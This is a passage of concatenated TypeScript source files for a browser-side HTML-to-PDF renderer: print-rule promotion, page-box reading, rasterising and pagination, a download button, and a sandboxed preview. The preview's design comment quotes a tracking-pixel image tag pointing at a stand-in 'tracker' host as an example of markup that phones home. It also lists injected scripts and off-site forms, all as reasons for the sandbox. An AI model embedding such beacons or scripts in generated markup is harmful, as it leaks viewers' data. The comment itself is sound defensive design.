.filter((at) => at > start + EPSILON && at <= limit + EPSILON)\n .sort((a, b) => b - a);\n for (const constraints of [[...hard, ...avoid], hard]) {\n const cut = sorted.find((at) => !constraints.some((span) => inside(span, at)));\n if (cut !== undefined) return Math.min(cut, limit);\n }\n return limit;\n}\n\n/** Whether cutting at `at` would cut through `span`. */\nfunction inside(span: Span, at: number): boolean {\n return at > span.top + EPSILON && at < span.bottom - EPSILON;\n}\n\n/**\n * The tables a cut at `at` leaves open: begun above it, with body rows still to\n * come below it. A cut at a table's footer or past it has closed the table.\n */\nfunction openAt(tables: readonly TableBox[], at: number): TableBox[] {\n return tables\n .filter((table) => at > table.top + EPSILON && at < (table.foot?.top ?? table.bottom) - EPSILON)\n .sort((a, b) => a.top - b.top);\n}\n\nfunction total(spans: readonly Span[]): number {\n return spans.reduce((sum, span) => sum + (span.bottom - span.top), 0);\n}\n","/**\n * A page's print stylesheet, applied on screen: what the PDF copy needs before\n * it is laid out and rasterised, since a browser offers no way to lay a frame\n * out as `print` media short of printing it.\n *\n * ## Promoting the print rules\n *\n * Every media query in the copy's stylesheets is rewritten to say what it would\n * say on paper: a query on `print` becomes one on `all`, a query on `screen` (or\n * any other media type) becomes `not all`, and `not` flips both, so `@media\n * print { … }` now applies and `@media screen { … }` no longer does, in the\n * order the author wrote them. A query with no media type (`@media (min-width:\n * 600px)`) is left alone: it is about the page's size, which the copy is laid\n * out at. A `<style media=\"print\">` is rewritten the same way.\n *\n * Rewriting the queries in place, rather than unwrapping the rules out of their\n * blocks, keeps the cascade exactly as written: a print rule still comes after\n * the screen rules it overrides, and nested blocks keep their nesting.\n *\n * ## The page box\n *\n * `@page` says the sheet's size and margins. A rule with no selector is read,\n * the last one winning per property, as in the cascade; `:first`, `:left` and\n * named pages are not. A size is a keyword (`A4`, `letter`, optionally with\n * `landscape`) or two lengths; a margin is a length. What a page does not say is\n * A4 portrait with 1 cm margins on every side — what Chrome's own print uses\n * when a page names none, so a template laid out against Chrome's print lands\n * the same way.\n */\n\n/** A page's size and margins, in CSS pixels (96 to the inch). */\nexport interface PageBox {\n width: number;\n height: number;\n margin: { top: number; right: number; bottom: number; left: number };\n}\n\nconst PX_PER_MM = 96 / 25.4;\n\n/** Paper sizes by name, portrait, in millimetres. */\nconst PAPER: Record<string, [number, number]> = {\n a3: [297, 420],\n a4: [210, 297],\n a5: [148, 210],\n b4: [250, 353],\n b5: [176, 250],\n 'jis-b4': [257, 364],\n 'jis-b5': [182, 257],\n letter: [215.9, 279.4],\n legal: [215.9, 355.6],\n ledger: [279.4, 431.8],\n};\n\n/** A4 with Chrome's default 1 cm margins: what a page that says nothing prints on. */\nexport const DEFAULT_PAGE_BOX: PageBox = {\n width: 210 * PX_PER_MM,\n height: 297 * PX_PER_MM,\n margin: {\n top: 10 * PX_PER_MM,\n right: 10 * PX_PER_MM,\n bottom: 10 * PX_PER_MM,\n left: 10 * PX_PER_MM,\n },\n};\n\n/** Rewrite every media query in `doc` to what it says on paper. */\nexport function promotePrintRules(doc: Document): void {\n for (const sheet of Array.from(doc.styleSheets)) {\n if (sheet.media.length > 0) rewriteMedia(sheet.media);\n let rules: CSSRuleList;\n try {\n rules = sheet.cssRules;\n } catch {\n continue; // a sheet the copy cannot read is one it cannot rewrite either\n }\n rewriteRules(rules);\n }\n}\n\nfunction rewriteRules(rules: CSSRuleList): void {\n for (const rule of Array.from(rules)) {\n if (isMediaRule(rule)) rewriteMedia(rule.media);\n if ('cssRules' in rule) rewriteRules((rule as CSSGroupingRule).cssRules);\n }\n}\n\nfunction isMediaRule(rule: CSSRule): rule is CSSMediaRule {\n return rule.constructor.name === 'CSSMediaRule' || rule.type === 4;\n}\n\nfunction rewriteMedia(media: MediaList): void {\n const queries = Array.from({ length: media.length }, (_, i) => media.item(i) ?? '');\n const printed = queries.map(onPaper);\n if (printed.every((query, i) => query === queries[i])) return;\n media.mediaText = printed.join(', ');\n}\n\nconst MEDIA_QUERY = /^\\s*(not\\s+|only\\s+)?([a-z][a-z-]*)(\\s+and\\s+[\\s\\S]*)?\\s*$/i;\n\n/** One media query as it reads in print. Exported for its tests. */\nexport function onPaper(query: string): string {\n const match = MEDIA_QUERY.exec(query);\n // No media type, or not one this parser reads: about size, not medium.\n if (!match) return query;\n const [, prefix = '', type = '', rest = ''] = match;\n const negated = /^not/i.test(prefix);\n const typeHolds = ['print', 'all'].includes(type.toLowerCase());\n if (negated) return typeHolds ? `not all${rest}` : 'all';\n return typeHolds ? `all${rest}` : 'not all';\n}\n\n/** The page box `doc`'s `@page` rules declare, over A4 with 1 cm margins. */\nexport function readPageBox(doc: Document): PageBox {\n let size = '';\n const margin: Partial<Record<keyof PageBox['margin'], string>> = {};\n const visit = (rules: CSSRuleList) => {\n for (const rule of Array.from(rules)) {\n if (rule.constructor.name === 'CSSPageRule' || rule.type === 6) {\n const page = rule as CSSPageRule;\n if (page.selectorText.trim() !== '') continue;\n size = page.style.getPropertyValue('size') || size;\n for (const side of ['top', 'right', 'bottom', 'left'] as const) {\n const value = page.style.getPropertyValue(`margin-${side}`);\n if (value) margin[side] = value;\n }\n } else if (isMediaRule(rule)) {\n if (doc.defaultView?.matchMedia(rule.media.mediaText).matches !== false)\n visit(rule.cssRules);\n } else if ('cssRules' in rule) {\n visit((rule as CSSGroupingRule).cssRules);\n }\n }\n };\n for (const sheet of Array.from(doc.styleSheets)) {\n try {\n visit(sheet.cssRules);\n } catch {\n // unreadable: it declares nothing we can see\n }\n }\n const [width, height] = pageSize(size);\n const side = (name: keyof PageBox['margin']) => {\n const declared = margin[name];\n const px = declared === undefined ? undefined : toPx(declared);\n return px ?? DEFAULT_PAGE_BOX.margin[name];\n };\n return {\n width,\n height,\n margin: { top: side('top'), right: side('right'), bottom: side('bottom'), left: side('left') },\n };\n}\n\n/** A `size` value as width and height in pixels; A4 portrait when it says neither. */\nfunction pageSize(value: string): [number, number] {\n const words = value.trim().toLowerCase().split(/\\s+/).filter(Boolean);\n const landscape = words.includes('landscape');\n const named = words.find((word) => word in PAPER);\n const lengths = words.map(toPx).filter((px): px is number => px !== undefined);\n let width = DEFAULT_PAGE_BOX.width;\n let height = DEFAULT_PAGE_BOX.height;\n if (named) {\n [width, height] = PAPER[named]!.map((mm) => mm * PX_PER_MM) as [number, number];\n } else if (lengths.length === 2) {\n [width, height] = lengths as [number, number];\n } else if (lengths.length === 1) {\n width = height = lengths[0]!;\n }\n if (landscape && width < height) [width, height] = [height, width];\n return [width, height];\n}\n\nconst UNIT_PX: Record<string, number> = {\n px: 1,\n in: 96,\n cm: 10 * PX_PER_MM,\n mm: PX_PER_MM,\n q: PX_PER_MM / 4,\n pt: 96 / 72,\n pc: 16,\n};\n\n/** An absolute CSS length in pixels; `undefined` for anything else. */\nfunction toPx(value: string): number | undefined {\n const match = /^(-?\\d*\\.?\\d+)([a-z]*)$/i.exec(value.trim());\n if (!match) return undefined;\n const amount = Number(match[1]);\n const unit = (match[2] || 'px').toLowerCase();\n if (amount === 0) return 0;\n const factor = UNIT_PX[unit];\n return factor === undefined ? undefined : amount * factor;\n}\n","import type { HtmlContentView } from '../core/native-content';\nimport { DEFAULT_IMG_SRC, DEFAULT_PAGE_FONT, pageDocument } from './html-frame';\nimport { FIXED_ATTRIBUTE, measureFlow } from './page-layout';\nimport { paginate, type PageSlice } from './paginate';\nimport { promotePrintRules, readPageBox, type PageBox } from './print-media';\n\n/**\n * Make a PDF of an HTML page in the browser, with no server and no dialog: lay\n * a script-free copy of the page out as it would print, rasterise it, cut the\n * raster into pages at block boundaries, and wrap the pages in a PDF.\n *\n * ## The copy\n *\n * The page is laid out in a hidden frame of its own, never the preview on\n * screen, which carries the host's theme and is sized to the panel. The frame\n * document is the preview's (`html-frame.ts`), under the same policy: the same\n * `img-src` and `font-src`, no scripts. It is sandboxed `allow-same-origin` and\n * nothing else, so the host can read its layout and computed style, and the\n * markup still runs nothing: same-origin is dangerous only together with\n * scripts.\n *\n * Once loaded, every image is made eager and awaited and every face the page\n * declares is asked for and awaited, a face used only in print included; then\n * the page's print rules are promoted (`print-media.ts`), its `@page` box read,\n * and the frame resized to the page's drawable width and height, so the copy is\n * laid out as the print engine would lay it out on one sheet.\n *\n * ## The raster\n *\n * `modern-screenshot` clones the copy into an SVG `foreignObject`, inlining each\n * element's computed style and embedding the fonts and images it uses as data\n * URLs, which is what lets the browser paint it as an image. It is rendered\n * once for the flow, with the elements laid out `position: fixed` left out,\n * and once for those elements alone at one page's height, laid over every page\n * as a print engine repeats them. Each stretch of the flow a page draws is\n * painted from the SVG through its own `viewBox` at `scale` device pixels per\n * CSS pixel, so only one page is ever held as pixels, and text is rasterised\n * at print resolution rather than scaled up.\n *\n * ## The PDF\n *\n * Each page is encoded as a JPEG and placed full-bleed on a page of the size\n * the page box says, by `jspdf`. Both libraries are loaded with `import()` on\n * first use, so a host that never makes a PDF ships neither.\n */\n\nexport interface HtmlPdfOptions {\n /** The copy's `img-src`, as `HtmlPreview`'s. */\n imgSrc?: string;\n /** The copy's `font-src`, as `HtmlPreview`'s. Follows `imgSrc` when unset. */\n fontSrc?: string;\n /** The typeface a fragment is laid out in, when its own CSS names none. */\n fontFamily?: string;\n /** The PDF's document title, in its metadata. */\n title?: string;\n /**\n * Device pixels per CSS pixel of the raster. 3 (288 dpi) when unset; 2 is\n * the least that prints crisp.\n */\n scale?: number;\n /** JPEG quality of each page, from 0 to 1. 0.92 when unset. */\n quality?: number;\n}\n\n/** What `renderHtmlPdf` produced, for a caller that wants more than the bytes. */\nexport interface HtmlPdf {\n blob: Blob;\n pageCount: number;\n /** The page box the PDF was laid out on, in CSS pixels. */\n page: PageBox;\n}\n\n/** How long the copy waits on fonts and images before laying out anyway. */\nconst SETTLE_TIMEOUT_MS = 10_000;\n/** Points per CSS pixel: a PDF measures in points, 72 to the inch. */\nconst PT_PER_PX = 72 / 96;\n\n/**\n * Render `content` to a PDF. Rejects when the copy cannot be built or painted,\n * or when the libraries that paint and assemble it cannot be loaded.\n */\nexport async function renderHtmlPdf(\n content: HtmlContentView,\n {\n imgSrc = DEFAULT_IMG_SRC,\n fontSrc,\n fontFamily = DEFAULT_PAGE_FONT,\n title,\n scale = 3,\n quality = 0.92,\n }: HtmlPdfOptions = {},\n): Promise<HtmlPdf> {\n // Started first: the libraries load while the copy does.\n const libraries = Promise.all([import('modern-screenshot'), import('jspdf')]);\n const copy = await openCopy(content, {\n imgSrc,\n fontSrc: fontSrc ?? imgSrc,\n fontFamily,\n });\n try {\n const { doc } = copy;\n promotePrintRules(doc);\n const page = readPageBox(doc);\n const area = {\n width: page.width - page.margin.left - page.margin.right,\n height: page.height - page.margin.top - page.margin.bottom,\n };\n copy.frame.style.width = `${area.width}px`;\n copy.frame.style.height = `${area.height}px`;\n // Laid out at the new size before anything is measured; reading a box's\n // geometry forces the layout, and a frame resize needs a frame to apply.\n await nextFrame();\n // Again: a print rule can show an image or a face the screen hid, and\n // rewriting the media queries rebuilds the copy's faces, unloaded.\n await settle(doc);\n\n const { layout, fixed } = measureFlow(doc);\n const slices = paginate(layout, area.height);\n const [{ domToForeignObjectSvg }, { jsPDF }] = await libraries;\n\n const root = doc.documentElement;\n // The rasteriser reads default styles from a frame it adds to the copy;\n // that frame is not part of the page.\n const notOurs = (node: Node) =>\n node.nodeType !== 1 || !(node as Element).id.startsWith('__SANDBOX__');\n const flow = await domToForeignObjectSvg(root, {\n width: area.width,\n height: layout.height,\n filter: (node) => notOurs(node) && !isFixed(node),\n });\n const overlay =\n fixed.length > 0\n ? await paintFixed(doc, fixed, area, domToForeignObjectSvg, notOurs)\n : undefined;\n\n const landscape = page.width > page.height;\n const pdf = new jsPDF({\n unit: 'pt',\n format: [page.width * PT_PER_PX, page.height * PT_PER_PX],\n orientation: landscape ? 'landscape' : 'portrait',\n compress: true,\n });\n if (title) pdf.setProperties({ title });\n for (const [index, slice] of slices.entries()) {\n const jpeg = await paintPage(slice, page, area, scale, quality, flow, overlay);\n if (index > 0)\n pdf.addPage(\n [page.width * PT_PER_PX, page.height * PT_PER_PX],\n landscape ? 'landscape' : 'portrait',\n );\n pdf.addImage(\n jpeg,\n 'JPEG',\n 0,\n 0,\n page.width * PT_PER_PX,\n page.height * PT_PER_PX,\n undefined,\n 'NONE',\n );\n }\n return { blob: pdf.output('blob'), pageCount: slices.length, page };\n } finally {\n copy.frame.remove();\n }\n}\n\nfunction isFixed(node: Node): boolean {\n return node.nodeType === 1 && (node as Element).hasAttribute(FIXED_ATTRIBUTE);\n}\n\ntype ToSvg = (typeof import('modern-screenshot'))['domToForeignObjectSvg'];\n\n/**\n * The elements laid out `position: fixed`, alone, at one page's drawable size.\n * Everything else is made invisible rather than removed, so nothing moves; each\n * fixed element is pinned where the copy laid it out, in the page's coordinates,\n * since a `foreignObject` is not a viewport for `position: fixed`.\n */\nasync function paintFixed(\n doc: Document,\n fixed: readonly HTMLElement[],\n area: { width: number; height: number },\n toSvg: ToSvg,\n notOurs: (node: Node) => boolean,\n): Promise<SVGElement> {\n const root = doc.documentElement;\n const keep = new Set<Node>();\n for (const el of fixed) {\n for (let node: Node | null = el; node; node = node.parentNode) keep.add(node);\n }\n const pins = new Map(fixed.map((el, i) => [String(i), el.getBoundingClientRect()]));\n fixed.forEach((el, i) => el.setAttribute(FIXED_ATTRIBUTE, String(i)));\n const previous = root.style.getPropertyValue('visibility');\n root.style.setProperty('visibility', 'hidden', 'important');\n fixed.forEach((el) => el.style.setProperty('visibility', 'visible', 'important'));\n try {\n return await toSvg(root, {\n width: area.width,\n height: area.height,\n filter: (node) => notOurs(node) && (keep.has(node) || insideFixed(node, fixed)),\n onCloneNode: (clone) => {\n const cloned = clone as HTMLElement;\n cloned.style.setProperty('position', 'relative');\n for (const el of Array.from(cloned.querySelectorAll<HTMLElement>(`[${FIXED_ATTRIBUTE}]`))) {\n const pin = pins.get(el.getAttribute(FIXED_ATTRIBUTE) ?? '');\n if (!pin) continue;\n Object.assign(el.style, {\n position: 'absolute',\n top: `${pin.top}px`,\n left: `${pin.left}px`,\n width: `${pin.width}px`,\n height: `${pin.height}px`,\n right: 'auto',\n bottom: 'auto',\n margin: '0',\n });\n }\n },\n });\n } finally {\n if (previous) root.style.setProperty('visibility', previous);\n else root.style.removeProperty('visibility');\n fixed.forEach((el) => el.style.removeProperty('visibility'));\n }\n}\n\nfunction insideFixed(node: Node, fixed: readonly HTMLElement[]): boolean {\n return fixed.some((el) => el.contains(node));\n}\n\n/**\n * One page as a JPEG: white paper, the page's stretches of the flow at its\n * margins (repeated table headers, its body, repeated table footers), then the\n * fixed elements over the drawable area.\n */\nasync function paintPage(\n slice: PageSlice,\n page: PageBox,\n area: { width: number; height: number },\n scale: number,\n quality: number,\n flow: SVGElement,\n overlay: SVGElement | undefined,\n): Promise<Uint8Array> {\n const canvas = document.createElement('canvas');\n canvas.width = Math.round(page.width * scale);\n canvas.height = Math.round(page.height * scale);\n const context = canvas.getContext('2d');\n if (!context) throw new Error('No 2D canvas to paint the PDF page on');\n context.fillStyle = '#fff';\n context.fillRect(0, 0, canvas.width, canvas.height);\n\n let y = page.margin.top;\n for (const span of [...slice.heads, slice.body, ...slice.feet]) {\n const height = span.bottom - span.top;\n if (height <= 0) continue;\n const image = await svgImage(flow, { top: span.top, width: area.width, height }, scale);\n context.drawImage(\n image,\n page.margin.left * scale,\n y * scale,\n area.width * scale,\n height * scale,\n );\n y += height;\n }\n if (overlay) {\n const image = await svgImage(overlay, { top: 0, ...area }, scale);\n context.drawImage(\n image,\n page.margin.left * scale,\n page.margin.top * scale,\n area.width * scale,\n area.height * scale,\n );\n }\n const blob = await new Promise<Blob | null>((resolve) =>\n canvas.toBlob(resolve, 'image/jpeg', quality),\n );\n if (!blob) throw new Error('The PDF page could not be encoded');\n return new Uint8Array(await blob.arrayBuffer());\n}\n\n/**\n * A stretch of an SVG as an image whose own pixel size is the stretch's at\n * `scale`, so the browser rasterises the text at that resolution rather than\n * scaling a screen-resolution bitmap up.\n */\nasync function svgImage(\n svg: SVGElement,\n { top, width, height }: { top: number; width: number; height: number },\n scale: number,\n): Promise<HTMLImageElement> {\n const copy = svg.cloneNode(false) as SVGElement;\n copy.setAttribute('viewBox', `0 ${top} ${width} ${height}`);\n copy.setAttribute('width', String(Math.max(1, Math.round(width * scale))));\n copy.setAttribute('height', String(Math.max(1, Math.round(height * scale))));\n copy.setAttribute('preserveAspectRatio', 'none');\n for (const child of Array.from(svg.childNodes)) copy.appendChild(child.cloneNode(true));\n // The library sizes its `foreignObject` at 100% of the viewport, which a\n // `viewBox` narrowed to one stretch would shrink to that stretch, leaving\n // everything below the first one out. Pinned to the whole flow instead.\n const object = Array.from(copy.children).find((child) => child.localName === 'foreignObject');\n object?.setAttribute('width', svg.getAttribute('width') ?? String(width));\n object?.setAttribute('height', svg.getAttribute('height') ?? String(top + height));\n const markup = new XMLSerializer()\n .serializeToString(copy)\n // Characters XML forbids, which a page's text can carry and which would\n // make the whole image fail to decode. Matching them is the point.\n // eslint-disable-next-line no-control-regex\n .replace(/[\\u0000-\\u0008\\v\\f\\u000E-\\u001F￾￿]/g, '');\n const image = new Image();\n image.decoding = 'sync';\n image.src = `data:image/svg+xml;charset=utf-8,${encodeURIComponent(markup)}`;\n await image.decode();\n return image;\n}\n\ninterface Copy {\n frame: HTMLIFrameElement;\n doc: Document;\n}\n\n/**\n * The page in a hidden frame of its own: script-free, same-origin so its layout\n * can be read, laid out (not `display: none`, which lays nothing out and loads\n * no font) off screen, at A4's width until its own page box is known.\n */\nasync function openCopy(\n content: HtmlContentView,\n { imgSrc, fontSrc, fontFamily }: { imgSrc: string; fontSrc: string; fontFamily: string },\n): Promise<Copy> {\n const frame = document.createElement('iframe');\n frame.setAttribute('sandbox', 'allow-same-origin');\n frame.setAttribute('aria-hidden', 'true');\n frame.setAttribute('data-mthds-pdf-copy', '');\n frame.tabIndex = -1;\n frame.title = 'PDF';\n Object.assign(frame.style, {\n position: 'fixed',\n left: '-10000px',\n top: '0',\n width: '794px',\n height: '1123px',\n border: '0',\n opacity: '0',\n pointerEvents: 'none',\n });\n frame.srcdoc = pageDocument(content, { imgSrc, fontSrc, fontFamily });\n const loaded = new Promise<void>((resolve) =>\n frame.addEventListener('load', () => resolve(), { once: true }),\n );\n document.body.append(frame);\n try {\n await loaded;\n const doc = frame.contentDocument;\n if (!doc?.defaultView) throw new Error('The PDF copy could not be opened');\n await settle(doc);\n return { frame, doc };\n } catch (error) {\n frame.remove();\n throw error;\n }\n}\n\n/**\n * Wait for what the copy will paint to be there: every image decoded, lazy ones\n * included, and every face its stylesheets declare loaded. A lazy image below\n * the frame's fold has not started, and a font starts only once text asks for\n * it, so each face is asked for outright. Bounded, so an image that never\n * answers delays the PDF rather than swallowing it.\n */\nasync function settle(doc: Document): Promise<void> {\n const images = Array.from(doc.images, (image) => {\n image.loading = 'eager';\n if (image.complete) return Promise.resolve();\n return new Promise<void>((resolve) => {\n image.addEventListener('load', () => resolve(), { once: true });\n image.addEventListener('error', () => resolve(), { once: true });\n });\n });\n const fonts = doc.fonts\n ? [\n ...Array.from(doc.fonts, (face) => face.load().then(noop, noop)),\n doc.fonts.ready.then(noop, noop),\n ]\n : [];\n let timer: ReturnType<typeof setTimeout> | undefined;\n await Promise.race([\n Promise.all([...images, ...fonts]),\n new Promise<void>((resolve) => {\n timer = setTimeout(resolve, SETTLE_TIMEOUT_MS);\n }),\n ]);\n clearTimeout(timer);\n}\n\n/** One rendering frame of the host, bounded for a tab that renders none. */\nfunction nextFrame(): Promise<void> {\n return new Promise((resolve) => {\n const timer = setTimeout(resolve, 100);\n requestAnimationFrame(() => {\n clearTimeout(timer);\n resolve();\n });\n });\n}\n\nfunction noop(): void {}\n","'use client';\n\nimport { useId, useRef, useState } from 'react';\nimport { FileDown, Loader2, TriangleAlert } from 'lucide-react';\nimport type { HtmlContentView } from '../core/native-content';\nimport { useFieldStrings } from './field-strings';\nimport { useFileNamePrompt } from './file-name-dialog';\nimport { pageDocument } from './html-frame';\nimport { renderHtmlPdf } from './html-pdf';\nimport { resolveHtmlStorageUrls } from './markup-storage';\nimport { useMarkupResolvers, useRenderPdf, useSaveFiles, type RenderPdf } from './result-env';\nimport { focusOutlineClass } from './role-tokens';\nimport { cn } from './utils';\n\nexport interface PdfDownloadButtonProps {\n /** The page to make a PDF of. */\n content: HtmlContentView;\n /** The PDF's file name, without the extension. `page` when unset or empty. */\n fileName?: string;\n /** Where the page sits in the result, for the save plan (`path`). */\n path?: string;\n /** The PDF copy's `img-src`, as `HtmlPreview`'s. */\n imgSrc?: string;\n /** The PDF copy's `font-src`, as `HtmlPreview`'s. */\n fontSrc?: string;\n /** Draw it as the row's primary control: filled rather than outlined. */\n primary?: boolean;\n className?: string;\n}\n\n/**\n * \"Download PDF\" for an HTML page: one click, and the browser saves\n * `<fileName>.pdf`. The PDF is made by the host's `renderPdf` when the result\n * environment supplies one, and otherwise in the browser (`renderHtmlPdf`) from\n * a script-free copy of the page laid out with its print rules; it is handed to the\n * result environment's `saveFiles` like every other download, so a host that\n * delivers files its own way delivers this one too. The stored pictures the\n * page names are resolved through the environment's resolvers first, as its\n * preview's are.\n *\n * Busy while the PDF is made, which takes a moment for the fonts and the\n * raster; a PDF that could not be made or saved turns the control into a\n * warning, described to assistive technology, until the reader tries again.\n */\nexport function PdfDownloadButton({\n content,\n fileName,\n path = 'page',\n imgSrc,\n fontSrc,\n primary = false,\n className,\n}: PdfDownloadButtonProps) {\n const s = useFieldStrings();\n const save = useSaveFiles();\n const resolvers = useMarkupResolvers();\n const hostPdf = useRenderPdf();\n const ref = useRef<HTMLButtonElement>(null);\n const statusId = useId();\n const [state, setState] = useState<'idle' | 'busy' | 'failed'>('idle');\n const failed = state === 'failed';\n const { ask, dialog } = useFileNamePrompt();\n const name = `${pdfStem(fileName) || 'page'}.pdf`;\n\n const download = async () => {\n // The name comes first, when the host asks for it: the reader is not kept\n // waiting on a PDF they may yet cancel, and the name they choose is the one\n // the PDF is made and planned under.\n const chosen = await ask(pdfStem(fileName) || 'page', '.pdf');\n if (chosen === null) return;\n const title = chosen === name ? pdfStem(fileName) : pdfStem(chosen);\n setState('busy');\n try {\n // A fragment that names no face of its own is laid out in the one around\n // the control, as it reads on screen.\n const fontFamily = ref.current ? getComputedStyle(ref.current).fontFamily : undefined;\n // The page's stored pictures are resolved at the click, through the\n // host, so a presigned URL is minted for this PDF rather than reused\n // from a preview that may have outlived it.\n const innerHtml = await resolveHtmlStorageUrls(content.innerHtml, resolvers);\n const page = innerHtml === content.innerHtml ? content : { ...content, innerHtml };\n const blob = hostPdf\n ? await makeOnHost(hostPdf, page, { title, imgSrc, fontSrc, fontFamily })\n : (\n await renderHtmlPdf(page, {\n ...(title ? { title } : {}),\n ...(imgSrc === undefined ? {} : { imgSrc }),\n ...(fontSrc === undefined ? {} : { fontSrc }),\n ...(fontFamily ? { fontFamily } : {}),\n })\n ).blob;\n const { failed: missed } = await save([\n {\n name: chosen,\n mimeType: 'application/pdf',\n kind: 'markup',\n path,\n url: await dataUrl(blob),\n },\n ]);\n setState(missed.length > 0 ? 'failed' : 'idle');\n } catch {\n setState('failed');\n }\n };\n\n return (\n <>\n <button\n ref={ref}\n type=\"button\"\n data-pdf-download\n onClick={() => void download()}\n disabled={state === 'busy'}\n aria-busy={state === 'busy'}\n title={failed ? s.downloadPdfFailed : name}\n {...(failed ? { 'aria-describedby': statusId } : {})}\n className={cn(\n // 44 pixels tall below `sm`, as every control a finger hits is.\n 'inline-flex shrink-0 items-center gap-1.5 rounded-md px-2 py-1 text-[12px] font-medium disabled:opacity-70 max-sm:min-h-11 max-sm:px-3',\n focusOutlineClass,\n primary\n ? 'bg-primary text-primary-foreground hover:bg-primary/90'\n : 'border border-border text-muted-foreground hover:text-foreground',\n failed &&\n (primary ? 'bg-destructive text-white hover:bg-destructive/90' : 'text-destructive'),\n className,\n )}\n >\n {state === 'busy' ? (\n <Loader2 aria-hidden className=\"size-3.5 animate-spin\" />\n ) : failed ? (\n <TriangleAlert aria-hidden className=\"size-3.5\" />\n ) : (\n <FileDown aria-hidden className=\"size-3.5\" />\n )}\n {state === 'busy' ? s.downloadPdfBusy : s.downloadPdf}\n </button>\n <span id={statusId} role=\"status\" className=\"sr-only\">\n {failed ? s.downloadPdfFailed : ''}\n </span>\n {dialog}\n </>\n );\n}\n\n/**\n * The PDF from the host's own maker, handed the page as the document the in-browser PDF lays out:\n * the preview's policy, ink on paper. `blob:` pictures do not reach a host that prints elsewhere,\n * so a host resolving stored pictures for `renderPdf` answers fetchable URLs.\n */\nasync function makeOnHost(\n render: RenderPdf,\n page: HtmlContentView,\n { title, ...frame }: { title?: string; imgSrc?: string; fontSrc?: string; fontFamily?: string },\n): Promise<Blob> {\n const blob = await render({ html: pageDocument(page, frame), ...(title ? { title } : {}) });\n if (!(blob instanceof Blob) || blob.size === 0) throw new Error('The host made no PDF');\n return blob;\n}\n\n/** The name without a `.pdf` the button adds itself, trimmed. */\nfunction pdfStem(name: string | undefined): string {\n return (name ?? '')\n .trim()\n .replace(/\\.pdf$/i, '')\n .trim();\n}\n\n/**\n * The PDF as a `data:` URL: a delivery a host runs in another frame can read\n * it, where an object URL belongs to this document alone.\n */\nfunction dataUrl(blob: Blob): Promise<string> {\n return new Promise((resolve, reject) => {\n const reader = new FileReader();\n reader.onload = () => resolve(String(reader.result));\n reader.onerror = () => reject(reader.error ?? new Error('The PDF could not be read'));\n reader.readAsDataURL(blob);\n });\n}\n","'use client';\n\nimport { useEffect, useLayoutEffect, useMemo, useRef, useState } from 'react';\nimport { Loader2 } from 'lucide-react';\nimport type { HtmlContentView } from '../core/native-content';\nimport { useFieldStrings } from './field-strings';\nimport { FocusFrame } from './focus-frame';\nimport {\n DEFAULT_IMG_SRC,\n frameDocument,\n frameStyles,\n isWholeDocument,\n pageTypography,\n} from './html-frame';\nimport {\n answerFor,\n askBulkUntimed,\n MARKUP_RESOLVE_TIMEOUT_MS,\n mayHoldStorageRefs,\n rewriteStorageRefs,\n storageRefsIn,\n type BulkAnswer,\n} from './markup-storage';\nimport { useMarkupResolvers, usePdfSaveShown } from './result-env';\nimport { PdfDownloadButton } from './pdf-download-button';\nimport { cn } from './utils';\n\n/**\n * A `native.Html` result, rendered as the markup it is — inside a sandbox.\n *\n * ## Why this is not `dangerouslySetInnerHTML`\n *\n * The markup is **model output**. Injecting it into the host's document would\n * put a script tag, an `onerror` handler and a form posting to somewhere else\n * one prompt away from executing on the host's origin, with the host's cookies.\n * A kernel cannot make that decision for every consumer, and \"the host should\n * sanitize it\" is not a decision either — it is a hope, and the failure is\n * silent until it is a breach.\n *\n * The alternative would be shipping a sanitizer, and that is a real cost this\n * package's [dependency budget](../../docs/dependency-budget.md) makes a\n * reviewed decision rather than a convenience. So the markup goes into an\n * iframe, which is the platform's own answer and weighs nothing.\n *\n * ## What the sandbox actually stops\n *\n * Two mechanisms, and they cover different things:\n *\n * - **`sandbox` without `allow-scripts`.** No JavaScript runs in the frame at\n * all: no `<script>`, no `on*` handler, no `javascript:` URL. This is the load\n * bearing one. `allow-same-origin` IS granted, and that pairing is the safe\n * one — same-origin is only dangerous *together with* scripts, and without it\n * the parent could not measure the content to size the frame.\n * - **A `Content-Security-Policy` meta.** `default-src 'none'` with inline\n * styles allowed, `img-src` carrying whatever `imgSrc` says — the host's own\n * origin, `data:` and `https:` by default — and `font-src` whatever `fontSrc`\n * says, which follows `imgSrc` unless set. A font, like an image, is a fetch\n * that runs nothing; `font-src` used to be left to `default-src 'none'`, so a\n * page that links the face it was designed in (`/fonts/…` on the host, or a\n * font service) rendered in a fallback face.\n *\n * `https:` was NOT in that list at first, and the reasoning was that markup\n * carrying `<img src=\"https://tracker/…\">` phones home the moment a result is\n * displayed — a privacy leak that survives the sandbox, since it needs no\n * script. That is a real leak and it is still the reason `imgSrc` exists as a\n * prop. What it got wrong is whose markup this is: a method's HTML result\n * embeds the images that method produced, so blocking remote images broke the\n * ordinary case — a generated report rendered with a broken-image glyph where\n * its own illustration belongs — to defend against an unusual one. A host that\n * would rather pay that cost passes `imgSrc=\"data:\"`, or names its own origin.\n *\n * Everything else stays shut: no scripts, no fetch, no forms, no navigation.\n *\n * Navigation is not granted either (`allow-top-navigation` is absent and no\n * `allow-popups`), so a link cannot move the host anywhere.\n *\n * **Chrome logs `Blocked script execution in 'about:srcdoc'` for every frame\n * here, and it is not a bug to chase.** It is reproducible with a bare\n * `<iframe sandbox=\"allow-same-origin\" srcdoc=\"<h2>Hi</h2>\">` — no CSP, no\n * script anywhere in the document — so it is the browser reporting that the\n * sandbox is on, not a report that something in the markup tried to run.\n *\n * ## A whole document is shown as the page it is\n *\n * A method that renders a printable page (a quote, an invoice) writes a whole\n * document with its own head, and reads as that page or not at all. So a whole\n * document is continued rather than nested in ours (`html-frame.ts` says how),\n * shown on white in black ink whatever the theme around it, edge to edge\n * without the preview's padding, and as tall as it is: no `maxHeight` applies\n * unless the host passes one. A fragment is the rest of this comment.\n *\n * ## Why the styles are copied in rather than inherited\n *\n * A frame is a separate document: none of the host's CSS crosses into it, so\n * unstyled markup would render as the browser's 1996 defaults in the middle of a\n * themed panel — and in a dark theme, black on white. So the few properties that\n * make it belong (colour, font, size) are read off the mount point with\n * `getComputedStyle` and written into the frame's own stylesheet. Reading them\n * from the DOM rather than from tokens is what makes it follow a host's theme\n * without this package knowing what the host's tokens are called.\n */\n\n/** SSR has no layout to measure; `useEffect` on the server is a no-op anyway. */\nconst useIsomorphicLayoutEffect = typeof window === 'undefined' ? useEffect : useLayoutEffect;\n\nexport interface HtmlPreviewProps {\n content: HtmlContentView;\n /**\n * Beyond this the frame scrolls rather than 